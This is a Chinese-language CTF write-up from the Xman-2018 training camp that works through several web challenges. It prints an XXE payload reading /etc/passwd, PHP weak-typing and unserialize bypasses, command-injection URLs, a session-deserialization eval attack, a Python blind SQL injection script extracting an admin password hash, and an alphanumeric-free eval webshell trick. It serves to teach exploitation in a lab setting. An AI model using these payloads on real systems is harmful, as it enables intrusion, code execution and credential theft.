CTF-web Xman-2018 第四天 WEB习题1

例题 localhoost访问

更改x-forwarded-for=127.0.0.1

api调用  http://web.jarvisoj.com:9882/

目录扫一下没什么特别的东西,看一下源码发现了关键代码

<script>
function XHR() {
        var xhr;
        try {xhr = new XMLHttpRequest();}
        catch(e) {
            var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"];
            for (var i=0,len=IEXHRVers.length;i< len;i++) {
                try {xhr = new ActiveXObject(IEXHRVers[i]);}
                catch(e) {continue;}
            }
        }
        return xhr;
    }

function send(){
 evil_input = document.getElementById("evil-input").value;
 var xhr = XHR();
     xhr.open("post","/api/v1.0/try",true);
     xhr.onreadystatechange = function () {
         if (xhr.readyState==4 && xhr.status==201) {
             data = JSON.parse(xhr.responseText);
             tip_area = document.getElementById("tip-area");
             tip_area.value = data.task.search+data.task.value;
         }
     };
     xhr.setRequestHeader("Content-Type","application/json");
     xhr.send('{"search":"'+evil_input+'","value":"own"}');
}
</script>

审核完代码没有发现什么东西,一个AJXA异步post上传,也没看出什么,看了题解后才明白是XXE实体上传漏洞,原来对这个漏洞也是闻所未闻,所以后面专门记录一下吧 
我们直接讲利用,看到原本的post包是这样的 

就是利用post过去的xml实体,构造有特定功能的xml来达到目的!
这里我们利用xxe漏洞首先需要修改Content-Type为application/xml ,即传递类型为xml格式,然后修改post值为

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [         
<!ENTITY b SYSTEM "file:///etc/passwd">
]>
<root>&b;</root>   # 这里的b是实体的名字 协议读取文件 file:///etc/passwd

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY b SYSTEM "file:///home/ctf/flag.txt">
]>
<root>&b;</root>

完成攻击 

PHP弱语言缺陷
在进行比较的时候,如果md5是以为0e开头,那么==0是成立的
比对时,字符串开头不是数字,那么就是0 ,若为12deuia,那么就是12
<!-- $test=$_GET['username']; $test=md5($test); if($test=='0') -->

上网找有很多,MD5的值为0e开头

s878926199a
0e545993274517709034328855841020

可以看到,由于开头是s所以s878926199a与0是相等的,由于md5值时0e开头,所以与0是相等的

得到新的提示

$unserialize_str = $_POST['password']; 
$data_unserialize = unserialize($unserialize_str); 
if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???')
 { print_r($flag); } 伟大的科学家php方言道:成也布尔,败也布尔。 回去吧骚年

我们需要传输的序列包含两个字段,并且根据弱类型我们可以传输1就满足比对

a:2:{s:4:"user";b:1;s:4:"pass";b:1;}
# 两个键值 user = 1   pass=1  s:num对应长度  b表示布尔 i表示--
重新输入账户和密码就可以了,下面是测试的
$a =array('user' => 1,'pass'=>1);
$c = serialize($a);
print($c);
?>      // a:2:{s:4:"user";i:1;s:4:"pass";i:1;}

命令执行 http://web.jarvisoj.com:32798/

assert 类似于if函数,进行判断的

tac命令用于将文件已行为单位的反序输出,即第一行最后显示,最后一行先显示。

首先发现git泄露,下载源码,看到index.php

这是一个命令执行,构造page参数,我们可以看到flag.php文件是存在的(githack可以看到)。那么读取文件就需要命令执行

尝试如下:

http://web.jarvisoj.com:32798/?page='flag.php'.system("cat templates/flag.php").

http://web.jarvisoj.com:32798/?page=/././')|system('tac templates/flag.php');//

获得flag。命令执行注意命令的闭合,还有被过滤的linux关键字。

这里的tac是cat反向的命令,用于获取最后一行数据

序列化漏洞

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

有phpinfo参数则进入phpinfo,可以看到一些配置信息

这题的突破点在哪里,没错,就是备注的那块ini_set('session.serialize_handler', 'php');

查了下手册:php大于5.5.4的版本中默认使用php_serialize规则,通过phpinfo页面,我们知道php.ini中默认session.serialize_handler为php_serialize,而index.php中将其设置为php。这就导致了seesion的反序列化问题。

这个漏洞如果要触发,则需要在服务器中写入一个使用php_serialize序列话的值,然后访问时就会被php的引擎反序列化。但是本题没有提供写入session的方法,但是可以通过Session Upload Progress来向服务器设置session。具体为,在上传文件时,如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS的变量,就可以将filename的值赋值到session中,上传的页面的写法如下:

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>
// 添加到前端页面中,生成了一个提交界面,我们选择文件提交

注意,添加到空白部分,别影响正常代码,插入的时候找个好地方,否则不好用的

我们可以看到提交的框了,这是为了方便我们提交,不用自己构造post信息,所以这个代码可以自己留着以后用

在访问文件名时,触发反序列化漏洞,我们需要控制名字。实际上我们可以看到,我们最终需要的是class类中的一个$mdzz变量,在序列化中保存的信息会采用class的信息保存,不仅有mdzz变量,所以复制一个同样的class和变量然后来序列化

<?php
class OowoO
{
    public $mdzz='print_r(scandir(dirname(__FILE__)));';
}
$obj = new OowoO();
$a = serialize($obj);
 
var_dump($a);
 
 
#|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

这样我们得到的mdzz变量的序列化信息就保存了有关的类信息等,是一个完整的变量,后面的也需要这么序列化。

通过dirname获取文件路径
设置$mdzz=‘print_r(dirname(__FILE__));‘
序列化得到的结果是O:5:"OowoO":1:{s:4:"mdzz";s:27:"print_r(dirname(__FILE__));";}
文件名设置为|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:27:\"print_r(dirname(__FILE__));\";}

通过dirname获取文件路径
设置$mdzz=‘print_r(dirname(__FILE__));‘
序列化得到的结果是O:5:"OowoO":1:{s:4:"mdzz";s:27:"print_r(dirname(__FILE__));";}
文件名设置为|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:27:\"print_r(dirname(__FILE__));\";}

通过scandir获取文件列表
设置$mdzz=‘print_r(scandir("/opt/lampp/htdocs"));‘
序列化的结果是O:5:"OowoO":1:{s:4:"mdzz";s:38:"print_r(scandir("/opt/lampp/htdocs"));";}
文件名设置为|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:38:\"print_r(scandir(\"/opt/lampp/htdocs\"));\";}

读取文件内容:
通过file_get_contents读取文件内容
设置$mdzz=‘O:5:"OowoO":1:{s:4:"mdzz";s:87:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"))";}‘
序列话结果O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));";}
文件名设置为|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}。

最后就得到了flag。

题目的关键是如何保存session 如何引入序列化的变量触发反序列化引擎。

sql注入(结合序列化表示)

进去是一个网站,随意输入账号密码注册,测试过了这个不存在注入......

里面的内容是添加点绘制和删除点

我们点击delete删除的时候,看一下请求头发现,是一个特殊的序列化的字符串,先url解密,看看表示方式

action=delete_point&point=O:5:%22point%22:3:{s:1:%22x%22;s:1:%220%22;s:1:%22y%22;s:1:%220%22;s:2:%22ID%22;s:6:%22545401%22;}


action=delete_point&point=O:5:"point":3:{s:1:"x";s:1:"0";s:1:"y";s:1:"0";s:2:"ID";s:6:"545401";}

可以看出来大概就是一个数据库的查询,因为还有id之类的,还有delete,我们可以在这里进行注入。

大概的思路就是添加一个点进去,看一下用payload能不能删除,删除成功即id不存在,说明payload语句为true.二分法确实快不少.关于id存不存在我们可以匹配返回的数据,看看还有没有点,这里是脚本:

import requests
import re
import sys
p = re.compile(r'''ID: (.+?)&nbspx:''')
ans = ''
for pos in range(1,33):
    l = 0
    r = 127
    headers = {"Cookie": "PHPSESSID=8rmq4bgp0uhraog0kvqbcnj6u0"}
    data = {"x": "1", "y": "1"}
    while l<r:
        mid = int((l+r)/2)
        requests.post(
            "http://web.ctflearn.com/grid/controller.php?action=add_point", data=data, headers=headers)
        resp = requests.get("http://web.ctflearn.com/grid/", headers=headers).text
        _id = p.search(resp).group(1)
        payload = _id +  ' and ord(mid((select password from user where username="admin" limit 0, 1), ' +  str(pos) + ',1))>' + str(mid)
        length = len(payload)
        resp = requests.get('''http://web.ctflearn.com/grid/controller.php?action=delete_point&point=O:5:"point":3:{s:1:"x";s:1:"1";s:1:"y";s:1:"1";s:2:"ID";s:'''+str(length)+''':"%s";}'''%payload,headers=headers,allow_redirects=False).text
        resp = requests.get("http://web.ctflearn.com/grid/",headers=headers).text
        if _id not in resp:
            l = mid+1
        else:
            r = mid
    if l==0:
        break
    ans = ans + chr(l)
    print(ans)
    sys.stdout.flush()
    #point,user
    #username,password,uid
    #admin,test,,time,b,yeraisci,bro,bajilak,tes{},1234,tes
    #0c2c99a4ad05d39177c30b30531b119b
$a={s:1:"x";s:1:"0";s:1:"y";s:1:"0";s:2:"ID";s:6:"545401";};
$c = unserialize($a);
print(c);

无字母数字绕过过滤

<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>40){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>

大概的意思是我们只能用小于40长度的字符,构造出getFlag字符串来执行函数 获得flag

由于之只能使用非数字字母,那么就想到了php里的那个webshell构造的那个知识点,我们要构造的代码如下

http://202.112.51.184:20001/?code=$_GET[getFlag]()
http://202.112.51.184:20001/?code=$_GET[_]()&_=getFlag
http://202.112.51.184:20001/?code=$_GET[_]($_GET[__])&_=getFlag
                                             为空
由于GET违法,所以全部替换一下$_=_GET
http://202.112.51.184:20001/?code=$_=_GET;${$_}[_](${$_}[__]);&_=getFlag  

        将_GET进行异或获取
http://202.112.51.184:20001/?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag

关于无数字字母shellcode的前面说过

https://blog.csdn.net/iamsongyu/article/details/84104397

猜你喜欢

转载自blog.csdn.net/iamsongyu/article/details/84955765